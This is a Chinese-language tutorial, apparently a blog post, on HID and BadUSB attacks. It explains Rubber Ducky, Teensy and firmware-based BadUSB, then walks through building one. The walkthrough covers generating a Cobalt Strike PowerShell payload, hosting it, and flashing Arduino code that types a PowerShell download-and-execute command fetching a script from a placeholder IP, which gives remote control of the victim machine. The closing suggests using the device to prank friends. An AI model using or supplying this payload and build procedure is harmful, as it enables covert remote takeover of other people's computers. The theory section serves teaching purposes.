一、理论知识
1. HID攻击
概念
HID:Human Interface Device,人与计算机交互的设备(例如键盘、鼠标)。
HID攻击:通过HID所形成的攻击。
两种HID攻击类型
- USB RUBBER DUCKY
- 简称USB橡皮鸭,是最早的按键注入工具,通过嵌入式开发板实现,后来发展成为一个完全成熟的商业化按键注入攻击平台。它的原理是将USB设备模拟成为键盘,让电脑识别成为键盘,然后进行脚本模拟按键进行攻击。
- TEENSY
- 攻击者在定制攻击设备时,会向USB设备中置入一个攻击芯片,此攻击芯片是一个非常小而且功能完整的单片机开发系统。通过TEENSY攻击者可以模拟出一个键盘和鼠标,当受害者插入这个定制的USB设备时,电脑会识别为一个键盘,利用设备中的微处理器与存储空间和编程进去的攻击代码,就可以向主机发送控制命令,从而完全控制主机。
相比HID攻击,BadUSB使用了更为通用的USB设备(如U盘),更具有普遍性。
2. BadUSB攻击
U盘内部构造
<br />U盘由芯片控制器和闪存两部分组成,芯片控制器负责与PC的通讯和识别,闪存用来做数据存储;闪存中有一部分区域用来存放U盘的固件,它的作用类似于操作系统,控制软硬件交互;固件无法通过普通手段进行读取。
USB特性
现在的USB设备很多,比如音视频设备、摄像头等,因此要求系统提供最大的兼容性,甚至免驱,所以在设计USB标准的时候没有要求每个USB设备像网络设备那样占有一个唯一可识别的MAC地址让系统进行验证,而是允许一个USB设备具有多个输入输出设备的特征。
攻击原理
在USB特性的基础上,通过对U盘的固件进行逆向重新编程,相当于将U盘的操作系统改写成一个虚拟键盘而进行攻击的,同时利用了PC上的杀毒软件无法访问到U盘存放固件的区域,从而实现免杀。
小结
USB RUBBER DUCKY、TEENSY、BadUSB三种最终都是利用了USB协议的漏洞而进行攻击的,BadUSB可以利用普通常见的USB设备(U盘),而不需要进行硬件定制,更具有普遍性。
二、攻击演示
1. BadUSB制作
开发环境准备
Arduino
- Arduino本质上是一种电子工具——微控制器,它可以被用来制作许多有趣的创意电子制作,比如电子时钟、四轴飞行器、宠物喂食机、3D打印机、电子显微镜等。Arduino本身是一款非常容易使用的印刷电路板。电路板上装有专用集成电路,并将集成电路的功能引脚引出方便我们外接使用。同时,电路板还设计有USB接口方便与电脑连接。其次,在软件方面,Arduino提供了专门的程序开发环境Arduino IDE,可以将Arduino理解为可附带编程的一个集成电路板。
Arduino IDE安装
下载地址https://share.weiyun.com/J2ynQqut
安装完成之后,打开IDE,下载开发板的支持
生成payload
打开Cobalt Striker
选择监听器和PowerShell生成ps脚本

上传服务器
将payload文件上传至目标机可访问的服务器上,这里用python建立简易服务器
BadUSB代码
#include<Keyboard.h> //包含键盘模块头文件void setup(){ //初始化Keyboard.begin();//开始键盘通信delay(1000);//延时1000毫秒,Keyboard.press(KEY_LEFT_GUI);//按下徽标键 也就是win键Keyboard.press('r');//按下r键 CMDdelay(500);Keyboard.release(KEY_LEFT_GUI);//松掉win键Keyboard.release('r');//松掉r键delay(500);Keyboard.println("powershell IEX (New-Object Net.WebClient).DownloadString('http://xxx.xxx.xxx.xxx/a.ps1')");Keyboard.press(KEY_RETURN); //按下回车键Keyboard.release(KEY_RETURN); //释放回车键delay(500);Keyboard.end();//结束键盘通讯}void loop()//循环,这里的代码{//循环体}
制作过程
插入USB,打开IDE,先选择开发板

选择端口设备即插入U盘设备

复制BadUSB代码到编辑器里,点击编译,然后点击上传(烧录)


烧录成功
2. 攻击过程
将U盘插入到虚拟机

等待大概2秒,会看见屏幕,自动打开cmd.exe

自动输入加载脚本文件的指令,然后自动消失。
(以上过程为插入BadUSB后电脑自动执行)


cs上线,成功远控。
三、总结
没有做免杀的BadUSB略显鸡肋,但是制作和使用都过程都不难,可以作为一个有趣的小玩具,利用代码恶搞一下朋友。
此次过程也算是为我打开了物理渗透的大门吧。
参考链接:
https://security.tencent.com/index.php/blog/msg/74
https://blog.csdn.net/qq_26091745/article/details/98092211
